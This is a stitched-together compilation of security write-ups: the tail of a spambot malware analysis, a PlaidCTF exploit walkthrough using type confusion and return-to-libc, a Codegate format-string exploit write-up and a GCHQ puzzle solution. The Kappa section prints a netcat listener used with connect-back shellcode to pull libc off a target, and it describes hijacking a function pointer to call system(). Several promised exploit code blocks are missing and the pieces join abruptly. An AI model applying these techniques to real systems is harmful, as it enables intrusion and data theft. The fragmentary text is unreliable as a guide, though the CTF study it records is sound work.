.text:004022F0 cmp edi, ebx
.text:004022F2 jz loc_40265C
.text:004022F8 push edi
.text:004022F9 push offset aConnectingS___ ; “Connecting %s …\r\n”
.text:004022FE push ebp ; Dest
.text:004022FF call ds:sprintf

Then it builds the packet to send and sends out the mail request using to/from as the same person and it sends out some viagra spam to that mail domain. Here is the following html that it sends out.

..

Click here!

..

Please don’t follow the links as it could be later modified to have some form of drive by downloading

Most namely are update/run.  So it looks like this server could switch over and begin hosting more malicious binaries that may install a rootkit or a more advanced spambot!  I hope you enjoyed this tear-down and feel free to leave feedback in the comments section.

*PS Large cash donation and firstborn children can be sent to my email as I’m a hobbyist!

PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other!

Ultimately, this issue came down to a type-confusion bug that let us read memory and call arbitrary locations. Let’s see why!

The setup

When you run Kappa, you get a Pokemon interface:

Thank you for helping test CTF plays Pokemon! Keep in mind that this is currently in alpha which means that we will only support one person playing at a time. You will be provided with several options once the game begins, as well as several hidden options for those true CTF Plays Pokemon fans ;). We hope to expand this in the coming months to include even more features!  Enjoy! :)
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

If you go into the grass, you can capture a Pokemon:

1   
You walk into the tall grass!
.
.
.
You failed to find any Pokemon!
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

1
You walk into the tall grass!
.
.
.
A wild Kakuna appears!
Choose an Option:
1. Attack
2. Throw Pokeball
3. Run
2
You throw a Pokeball!
You successfully caught Kakuna!
What would you like to name this Pokemon?
POKEMON1
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

…And so on.

It’s worth noting that each of those periods represents a second of waiting. Thus, the first thing to do is to get rid of sleep():

@@ -1,5 +1,5 @@

-kappa:     file format elf32-i386
+kappa-fixed:     file format elf32-i386


 Disassembly of section .interp:
@@ -1077,19 +1077,35 @@
  8048de9:      c7 04 24 74 98 04 08    mov    DWORD PTR [esp],0x8049874
  8048df0:      e8 9b f7 ff ff          call   8048590 <puts@plt>
  8048df5:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
- 8048dfc:      e8 5f f7 ff ff          call   8048560 <sleep@plt>
+ 8048dfc:      90                      nop
+ 8048dfd:      90                      nop
+ 8048dfe:      90                      nop
+ 8048dff:      90                      nop
+ 8048e00:      90                      nop
  8048e01:      c7 04 24 92 98 04 08    mov    DWORD PTR [esp],0x8049892
  8048e08:      e8 83 f7 ff ff          call   8048590 <puts@plt>
  8048e0d:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
- 8048e14:      e8 47 f7 ff ff          call   8048560 <sleep@plt>
+ 8048e14:      90                      nop
+ 8048e15:      90                      nop
+ 8048e16:      90                      nop
+ 8048e17:      90                      nop
+ 8048e18:      90                      nop
  8048e19:      c7 04 24 92 98 04 08    mov    DWORD PTR [esp],0x8049892
  8048e20:      e8 6b f7 ff ff          call   8048590 <puts@plt>
  8048e25:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1

…and so on

Types, types, types

There are three types of Pokemon in the game: Bird Jesus, Kakuna, and Charizard. You can have up to four Pokemon captured at the same time. There is an array of the Pokemon types:

.bss:0804BFC0 pokemon_types   dd 5 dup(?)             ; DATA XREF: sub_8048960+219w
.bss:0804BFC0                                         ; do_heal_pokemon_real+20r ...
.bss:0804BFC0                                         ; A list of pokemon types, 1 2 or 3

…and also an array of pointers to the actual Pokemon:

.bss:0804BFAC pokemon_pointers dd 5 dup(?)            ; DATA XREF: list_pokemon+1Er
.bss:0804BFAC                                         ; list_pokemon+2Cr ...
                                                      ; A list of pointers to the captured Pokemon

The structures for each Pokemon type are also different, and this is really the key:

00000000 pokemon_type_1  struc ; (sizeof=0x888)
00000000 name            db 15 dup(?)
0000000F artwork         db 2153 dup(?)
00000878 health          dd ?                    ; XREF: do_heal_pokemon_real+5Bw ; max = 100
0000087C attack_power    dd ?
00000880 actions         dd ?
00000884 function_status dd ?                    ; XREF: do_inspect_pokemon+79r
00000888 pokemon_type_1  ends

00000000 pokemon_type_2  struc ; (sizeof=0x214)
00000000 name            db 15 dup(?)
0000000F artwork         db 501 dup(?)
00000204 health          dd ?                    ; XREF: do_heal_pokemon_real+80w
00000208 attack_power    dd ?
0000020C actions         dd ?
00000210 function_status dd ?                    ; XREF: do_inspect_pokemon+A9r
00000214 pokemon_type_2  ends

00000000 pokemon_type_3  struc ; (sizeof=0x5FC)
00000000 name            db 15 dup(?)            ; XREF: initialize_bird_jesus+18w
0000000F artwork         db 1501 dup(?)          ; XREF: initialize_bird_jesus+32o
000005EC health          dd ?                    ; XREF: do_heal_pokemon_real+36w
000005EC                                         ; initialize_bird_jesus+55w
000005F0 attack_power    dd ?                    ; XREF: initialize_bird_jesus+62w
000005F4 actions         dd ?                    ; XREF: initialize_bird_jesus+48w
000005F8 function_status dd ?                    ; XREF: do_inspect_pokemon+49r
000005F8                                         ; initialize_bird_jesus+6Fw
000005FC pokemon_type_3  ends

The three important fields are artwork, which is a differently sized array for each type, as well as actions and function_status. function_status is particular important, because it’s a function pointer to the function that displays the Pokemon’s status. And function pointers are fun. 🙂

Type confusion

Now, this is where the vulnerability happens. When you capture your sixth Pokemon, it no longer fits in the static 5-element array and asks you to replace one of your old ones:

What would you like to name this Pokemon?
char
Caught char
Oh no! you don't have any more room for a Pokemon! Choose a Pokemon to replace!
Choose a Pokemon!
1. Bird Jesus
2. Kack1
3. Kack2
4. Kack3
5. Kack4

The problem is, when a Pokemon updates a Pokemon of another type, it forgets to update the type array, and therefore thinks the Pokemon is of the wrong type! Since each type has a different structure, it means that Bad Stuff happens! If we change out a Pokemon then try to display it, this happens:

What would you like to name this Pokemon?
char
Caught char
Oh no! you don't have any more room for a Pokemon! Choose a pokemon to replace!
Choose a Pokemon!
1. Bird Jesus
2. Kack1
3. Kack2
4. Kack3
5. Kack4
2

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

3
Here are all of the stats on your current Pokemon!
Name: Bird Jesus
                   ..-`"-._
                 ,'      ,'`.
               ,f \   . / ,-'-.
              '  `. | |  , ,'`|
             `.-.  \| | ,.' ,-.\
              /| |. ` | /.'"||Y .
             . |_|U_\.|//_U_||. |
             | j    /   .    \ |'
              L    /     \    .j`
               .  `"`._,--|  //  \
               j   `.   ,'  , \   L
          ____/      `"'     \ L  |
       ,-'   ,'               \|'-+.
      /    ,'                  .    \
     /    /                     `    `.
    . |  j                       \     \
    |F   |                        '   \ .
    ||  F                         |   |\|
    ||  |                         |   | |
    ||  |                         |   | |
    `.._L                         |  ,' '
     .   |                        |,| ,'
      `  |                    '|||  j/
       `.'    .             ,'   /  '
         \\    `._        ,'    / ,'
          .\         ._ ,'     /,'
            .  ,   .'| \  (   //
            j_|'_,'  |  ._'` / `.
           ' |  |    |   |  Y    `.
    ,.__  `; |  |-"""^"""'  |.--""`
 ,--\   """ ,    \  / \ ,-     """"---.
'.--`v.=:.-'  .  L."`"'"\   ,  `.,.._ /`.
     .L    j-"`.   `\    j  |`.  "'--""`-'
     / |_,'    L ,-.|   (/`.)  `-\.-'\
    `-""        `. |     l /     `-"`-'
                  `      `- mh

Current Health: 960
Attack Power: 20
Attack: Gust
Segmentation fault (core dumped)

Where did it crash?

Core was generated by `./kappa-fixed'.
Program terminated with signal 11, Segmentation fault.
#0  0x22272020 in ?? ()

0x22272020? That looks like ascii!

$ echo -ne '\x20\x20\x27\x22'
  '"

Space, space, single quote, double quote. That looks suspiciously like the ascii art we see above! And, in fact, it is! The artwork pointer of the Charizard we just caught overwrote the function_status pointer of the next Pokemon. Then, when we attempted to call function_status, it called some ascii art and crashed.

Here’s what the memory layout is, essentially:

          [lower addresses]                                                     [higher addresses]
          +--------------------------------------------------------------------------------------+
Kakuna:   |name|artworkar|health|power|actions|fcn_status| [...]                                 |
          +----+---------+------+-----+-------+----------+---------------------------------------+
          +----+---------+------+-----+-------+-----------+------+-----+-------+----------+------+
Charizard:|name|artworkartworkartworkartworkartworkartwork|health|power|actions|fcn_status| [...]|
          +----+------------------------------------------+------+-----+-------+----------+------+
          [lower addresses]                                                     [higher addresses]

When the Kakuna is replaced by a Charizard, the program still thinks that the Pokemon is a charizard. Then, when it calls fcn_status(), it’s actually calling an address pointer read from the artwork. If you look at the diagram above, you’ll see that the same place that Kakuna stores its fcn_status pointer, Charizard stores its artwork.

The best part is, we can change the artwork! And therefore, we can change what Kakuna thinks is the function pointer! Check this out:

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

5
Choose a Pokemon!
1. Bird Jesus
2. char

3. 1

4. 1

5. 1

2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I'm sure you'll love to show this new art to your friends!

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

3
Here are all of the stats on your current Pokemon!
Name: Bird Jesus

[...ascii art...]

Current Health: 960
Attack Power: 20
Attack: Gust
Segmentation fault (core dumped)

$ gdb -q ./kappa-fixed ./core
Core was generated by `./kappa-fixed'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)

Sure enough, we can control the call (and therefore EIP) by overwriting the function pointer!

The deep blue libc

All right, we have EIP control, but that was only half the time I spent on this level! The other half was trying to figure out what to do with libc. Basically, I can cause a crash here:

.text:08049075                 mov     [esp], edx
.text:08049078                 call    eax

Where ‘edx’ is a pointer to the full structure—the name, etc.—and eax is fully controlled. That means we can call an arbitrary function and pass an arbitrary string value as the first parameter. system(), anyone?

The first thing we tried was jumping to the heap. Suffice to say, that failed. So we had to be more clever and use a return-into-libc attack. The problem was, we didn’t know where libc was!

Remember earlier when I said that actions was an important field? Well, the actions field, normally, is a pointer to the action that the Pokemon can take. Did you see under Bird Jesus’s status where it said Attack: Gust? Well, that’s reading a string pointed to by our struct. By using the same overflow we were using before, we can change where it reads that string from!

To put a kink in it, it’s actually dereferenced before being read. Which means that whatever we point it to will be dereferenced then printed. So, it’s a pointer to a string pointer. Meaning we can only read memory if we have a pointer to it!

For our attack, we need a pointer to libc. Luckily, we have the ever-handy Program Relocation Table sitting around, with calls such as this:

.plt:08048510 _read           proc near               ; CODE XREF: sub_8048960+1DCp
.plt:08048510                                         ; do_change_artwork+5A6p
.plt:08048510                 jmp     ds:off_804AEB4
.plt:08048510 _read           endp

The machine code for making that jump is actually FF 25 B8 AE 04 08. The last 4 bytes—B8 AE 04 08—refer to the address 0x0804aeb8. That address, in turn, stores the actual relocation address of the read() libc call! We chose read() because it happened to be the first one, and it just happened to be the one we grabbed. We could just of easily have used printf() or any other libc function.

To rephrase all that, we can set the Pokemon’s action to a pointer to a string pointer. If we use 0x08048510+2, then we’re setting it to a pointer to 0x804AEB4, which in turn is the read() libc call. Then when it tries to print, it’s going to print the address of read() (and also printf() and some other functions) as a string, until it reaches a NUL byte!

Here’s what it looks like:

...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE
Current Health: 69
Attack Power: 9999
Attack: P l\xB7\xB0\xC3d\xB7@Hg\xB70\x98g\xB7 Df\xB7f\x85
Name: Kack2
...

Remember the series of ‘A’s is the altered artwork. And “P l\xb7” works out to “50 20 6c b7”, or “0xb76c2050”, a perfectly reasonable pointer to a libc function!

Pwnage

All right, we’re just about done! We have an offset for libc’s read() function, but what about system()?

This is where we cheated a bit. And by cheated, I mean use a common CTF technique: We stole a copy of libc from ezhp‘s level!

To do this, I re-exploited ezhp, and used connect-back shellcode to netcat that I had running. The netcat was logging into a file using the “tee” program:

nc -vv -l -p 55555 | tee libc.hex

Then once I’d exploited ezhp and gotten a shell back on that netcat instance, I used ‘ldd’ on ezhp’s binary to find libc:

ldd ezhp
        linux-gate.so.1 =>  (0xb7759000)
        libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7600000)
        /lib/ld-linux.so.2 (0xb775a000)

Then printed libc.so.6 out in hex:

xxd -g1 /lib/i686/cmov/libc.so.6 | head
0000000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00  .ELF............
0000010: 03 00 03 00 01 00 00 00 00 6e 01 00 34 00 00 00  .........n..4...
0000020: fc 36 14 00 00 00 00 00 34 00 20 00 0a 00 28 00  .6......4. ...(.
0000030: 45 00 44 00 06 00 00 00 34 00 00 00 34 00 00 00  E.D.....4...4...
0000040: 34 00 00 00 40 01 00 00 40 01 00 00 05 00 00 00  4...@...@.......
...

Then terminated the connection.

At this point, I had a fairly dirty libc.hex file. I opened it up in vim, removed everything except the hexdump, and saved it. Then I converted it back to binary:

xxd -r < libc.hex > libc.so.6

And now I had a pretty typical libc.so copy from the server, and sure enough it was right! Once I had it, I calculated the offset between read() and system(), which turned out to be 0x8b500 bytes.

I then used the following pseudo-code:

return_address = read_address - 0x8b500

to calculate the return address. I set the name of my Pokemon to the command I wanted to run (since the name is the first argument passed into the function). And I ran it!

Because the name of the Pokemon was limited to 15 characters, I ended up using the command ls -lR / to find the flag, which gave me a 2.8mb directory listing of the server:

$ ls -lh dirlisting.txt
-rw-r--r-- 1 ron ron 2.8M Apr 12 22:47 dirlisting.txt

Which turned out to be in /home/kappa/flag. Then, I printed it out using “cat ~kappa/f*”.

And that was it!

Conclusion

So basically, we could cause the program to mix up the structure types. We used that to create an arbitrary indirect read, which we used to find the read() function, and therefore the system() function. Armed with that, we used the structure mix up to overwrite a function pointer and call system() with arbitrary commands!

Codegate Quals 2012: Vuln 500

This is my writeup for the Vuln 500 challenge in the Codegate Quals 2012 competition.

The vulnerability is a straight forward format string vulnerability in a SUID Linux/x86 program. Since ASLR & NX was activated, it was not quite as straight forward to exploit though. Since partial RELRO was used as well, DTORS was read-only, but the GOT still writable. The only function call after the vulnerability is triggered is to __stack_chk_fail() though, and this is only called if the stack cookie for main() has been corrupted.

One way to exploit this vulnerability would be to use a ROP based payload, chaining gadgets from within the (non-randomized) .text section of the binary, and/or from glibc by bruteforcing its base address. Since a pointer to the format string was passed as the first argument of printf() right before this, we can return directly into system() which will use the format string pointer as its argument. This makes things a whole lot easier for us. 😀

We still have to overcome the ASLR though, and we need to overwrite both the stack cookie on the randomized stack and the GOT-entry for __stack_chk_fail() with the address of system() in glibc which has a randomized base address. Looking at the stack pointer value between different executions about 20 bits of its address seems to be randomized though, and about eight bits of the glibc base address. This means that a bruteforce attack will take quite some time, unless we can figure out a way to exploit it more efficiently.

Fortunately, there are a few shortcuts. First of all, instead of overwriting the stack cookie on the stack, we can overwrite the value it checks the cookie against instead. This is stored at %gs:0x14, which is mapped to an address that is randomized as well, but that always seems to be located at a fixed offset beneath the glibc base address. See example below, the cookie is always stored at the system() address minus 0x39a2c in this particular program. This means we only have to bruteforce the glibc base address, which only has about eight bits randomized.

Using this, we can exploit it in within a couple of hundred attempts, which doesn’t take long. Note that we will use system-5 instead of the direct address of system(), since the latter happens to contain a NUL-byte, and the instruction at system()-5 is “harmless” (it just moves zero to edi, and does not dereference memory or anything else that might cause a crash).

There is, however, an even better way to do it. When “ulimit -s unlimited” / setrlimit(RLIMIT_STACK, {RLIM_INFINITY}) is used to make the stack as large as possible, glibc will always be mapped at the same address. This means we don’t have to do any bruteforcing at all, so our exploit will always work on the first attempt. In this case, the cookie at %gs:0x14 moves to a fixed address mapped after glibc instead of before it though.

Since my test program and the vulnerable programs are both linked to the same libraries, the addresses will be the same.

The last address we need to determine is the address to the GOT-entry for __stack_chk_fail():

The final version of my exploit is as follows:

This is the output when running it:

GCHQ Challenge Solution – Stage 3

The final stage of the GCHQ challenge was a small (5kB) x86 Windows/cygwin binary. Analyzing it in IDA Pro, I could see that it expects a 24 byte license file with the following format:

The above could be deduced from the following reverse-engineered code:

If a valid license is found, it calls a function that requests the following URI from the specified host (which should obviously still be www.canyoucrackit.co.uk): /hash/A/B/C/key.txt

Where:

  • A = 32-bit hex key from stage 1
  • B = 32-bit hex key #1 from stage 2
  • C = 32-bit hex key #2 from stage 2

Note that the hash itself is used, and not the password corresponding to the hash. Misdirection, again, in order to waste some time for those who didn’t bother to actually understand the code.

It’s now clear that we need two 32-bit values that somehow relates to stage 2, and the so called “firmware” array is a rather obvious choice. It consists of two 32-bit values, and it wasn’t used in the stage2 challenge itself. We also need one 32-bit value from stage 1. Remembering that the payload actually starts out with a “useless” jump over four bytes (e.g a 32-bit value) that are never used in any way, this is quite an obvious choice as well.

This gives us the following URL:
http://www.canyoucrackit.co.uk/hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt

Which contains the following key:
Pr0t3ct!on#cyber_security@12*12.2011+

When entering the correct keyword, we get this page:
http://www.canyoucrackit.co.uk/soyoudidit.asp

“So you did it. Well done! Now this is where it gets interesting. Could you use your skills and ingenuity to combat terrorism and cyber threats? As one of our experts, you’ll help protect our nation’s security and the lives of thousands. Every day will bring new challenges, new solutions to find – and new ways to prove that you’re one of the best.”

Interestingly, the salary for the “Cyber Specialist” position at GCHQ is £25,446 for a GC10 (Executive Officer) and £31,152 for a GC9 (Higher Executive Officer). Comparing this with the salaries in the corporate world makes it quite clear why GCHQ has to try so hard to find competent people to recruit. After all, for people with skills there are lots of opportunities for interesting work with a much higher paycheck. For juniors with potential, but no real experience, it might be an interesting opportunity though. I’m sure that the work can be quite stimulating. 🙂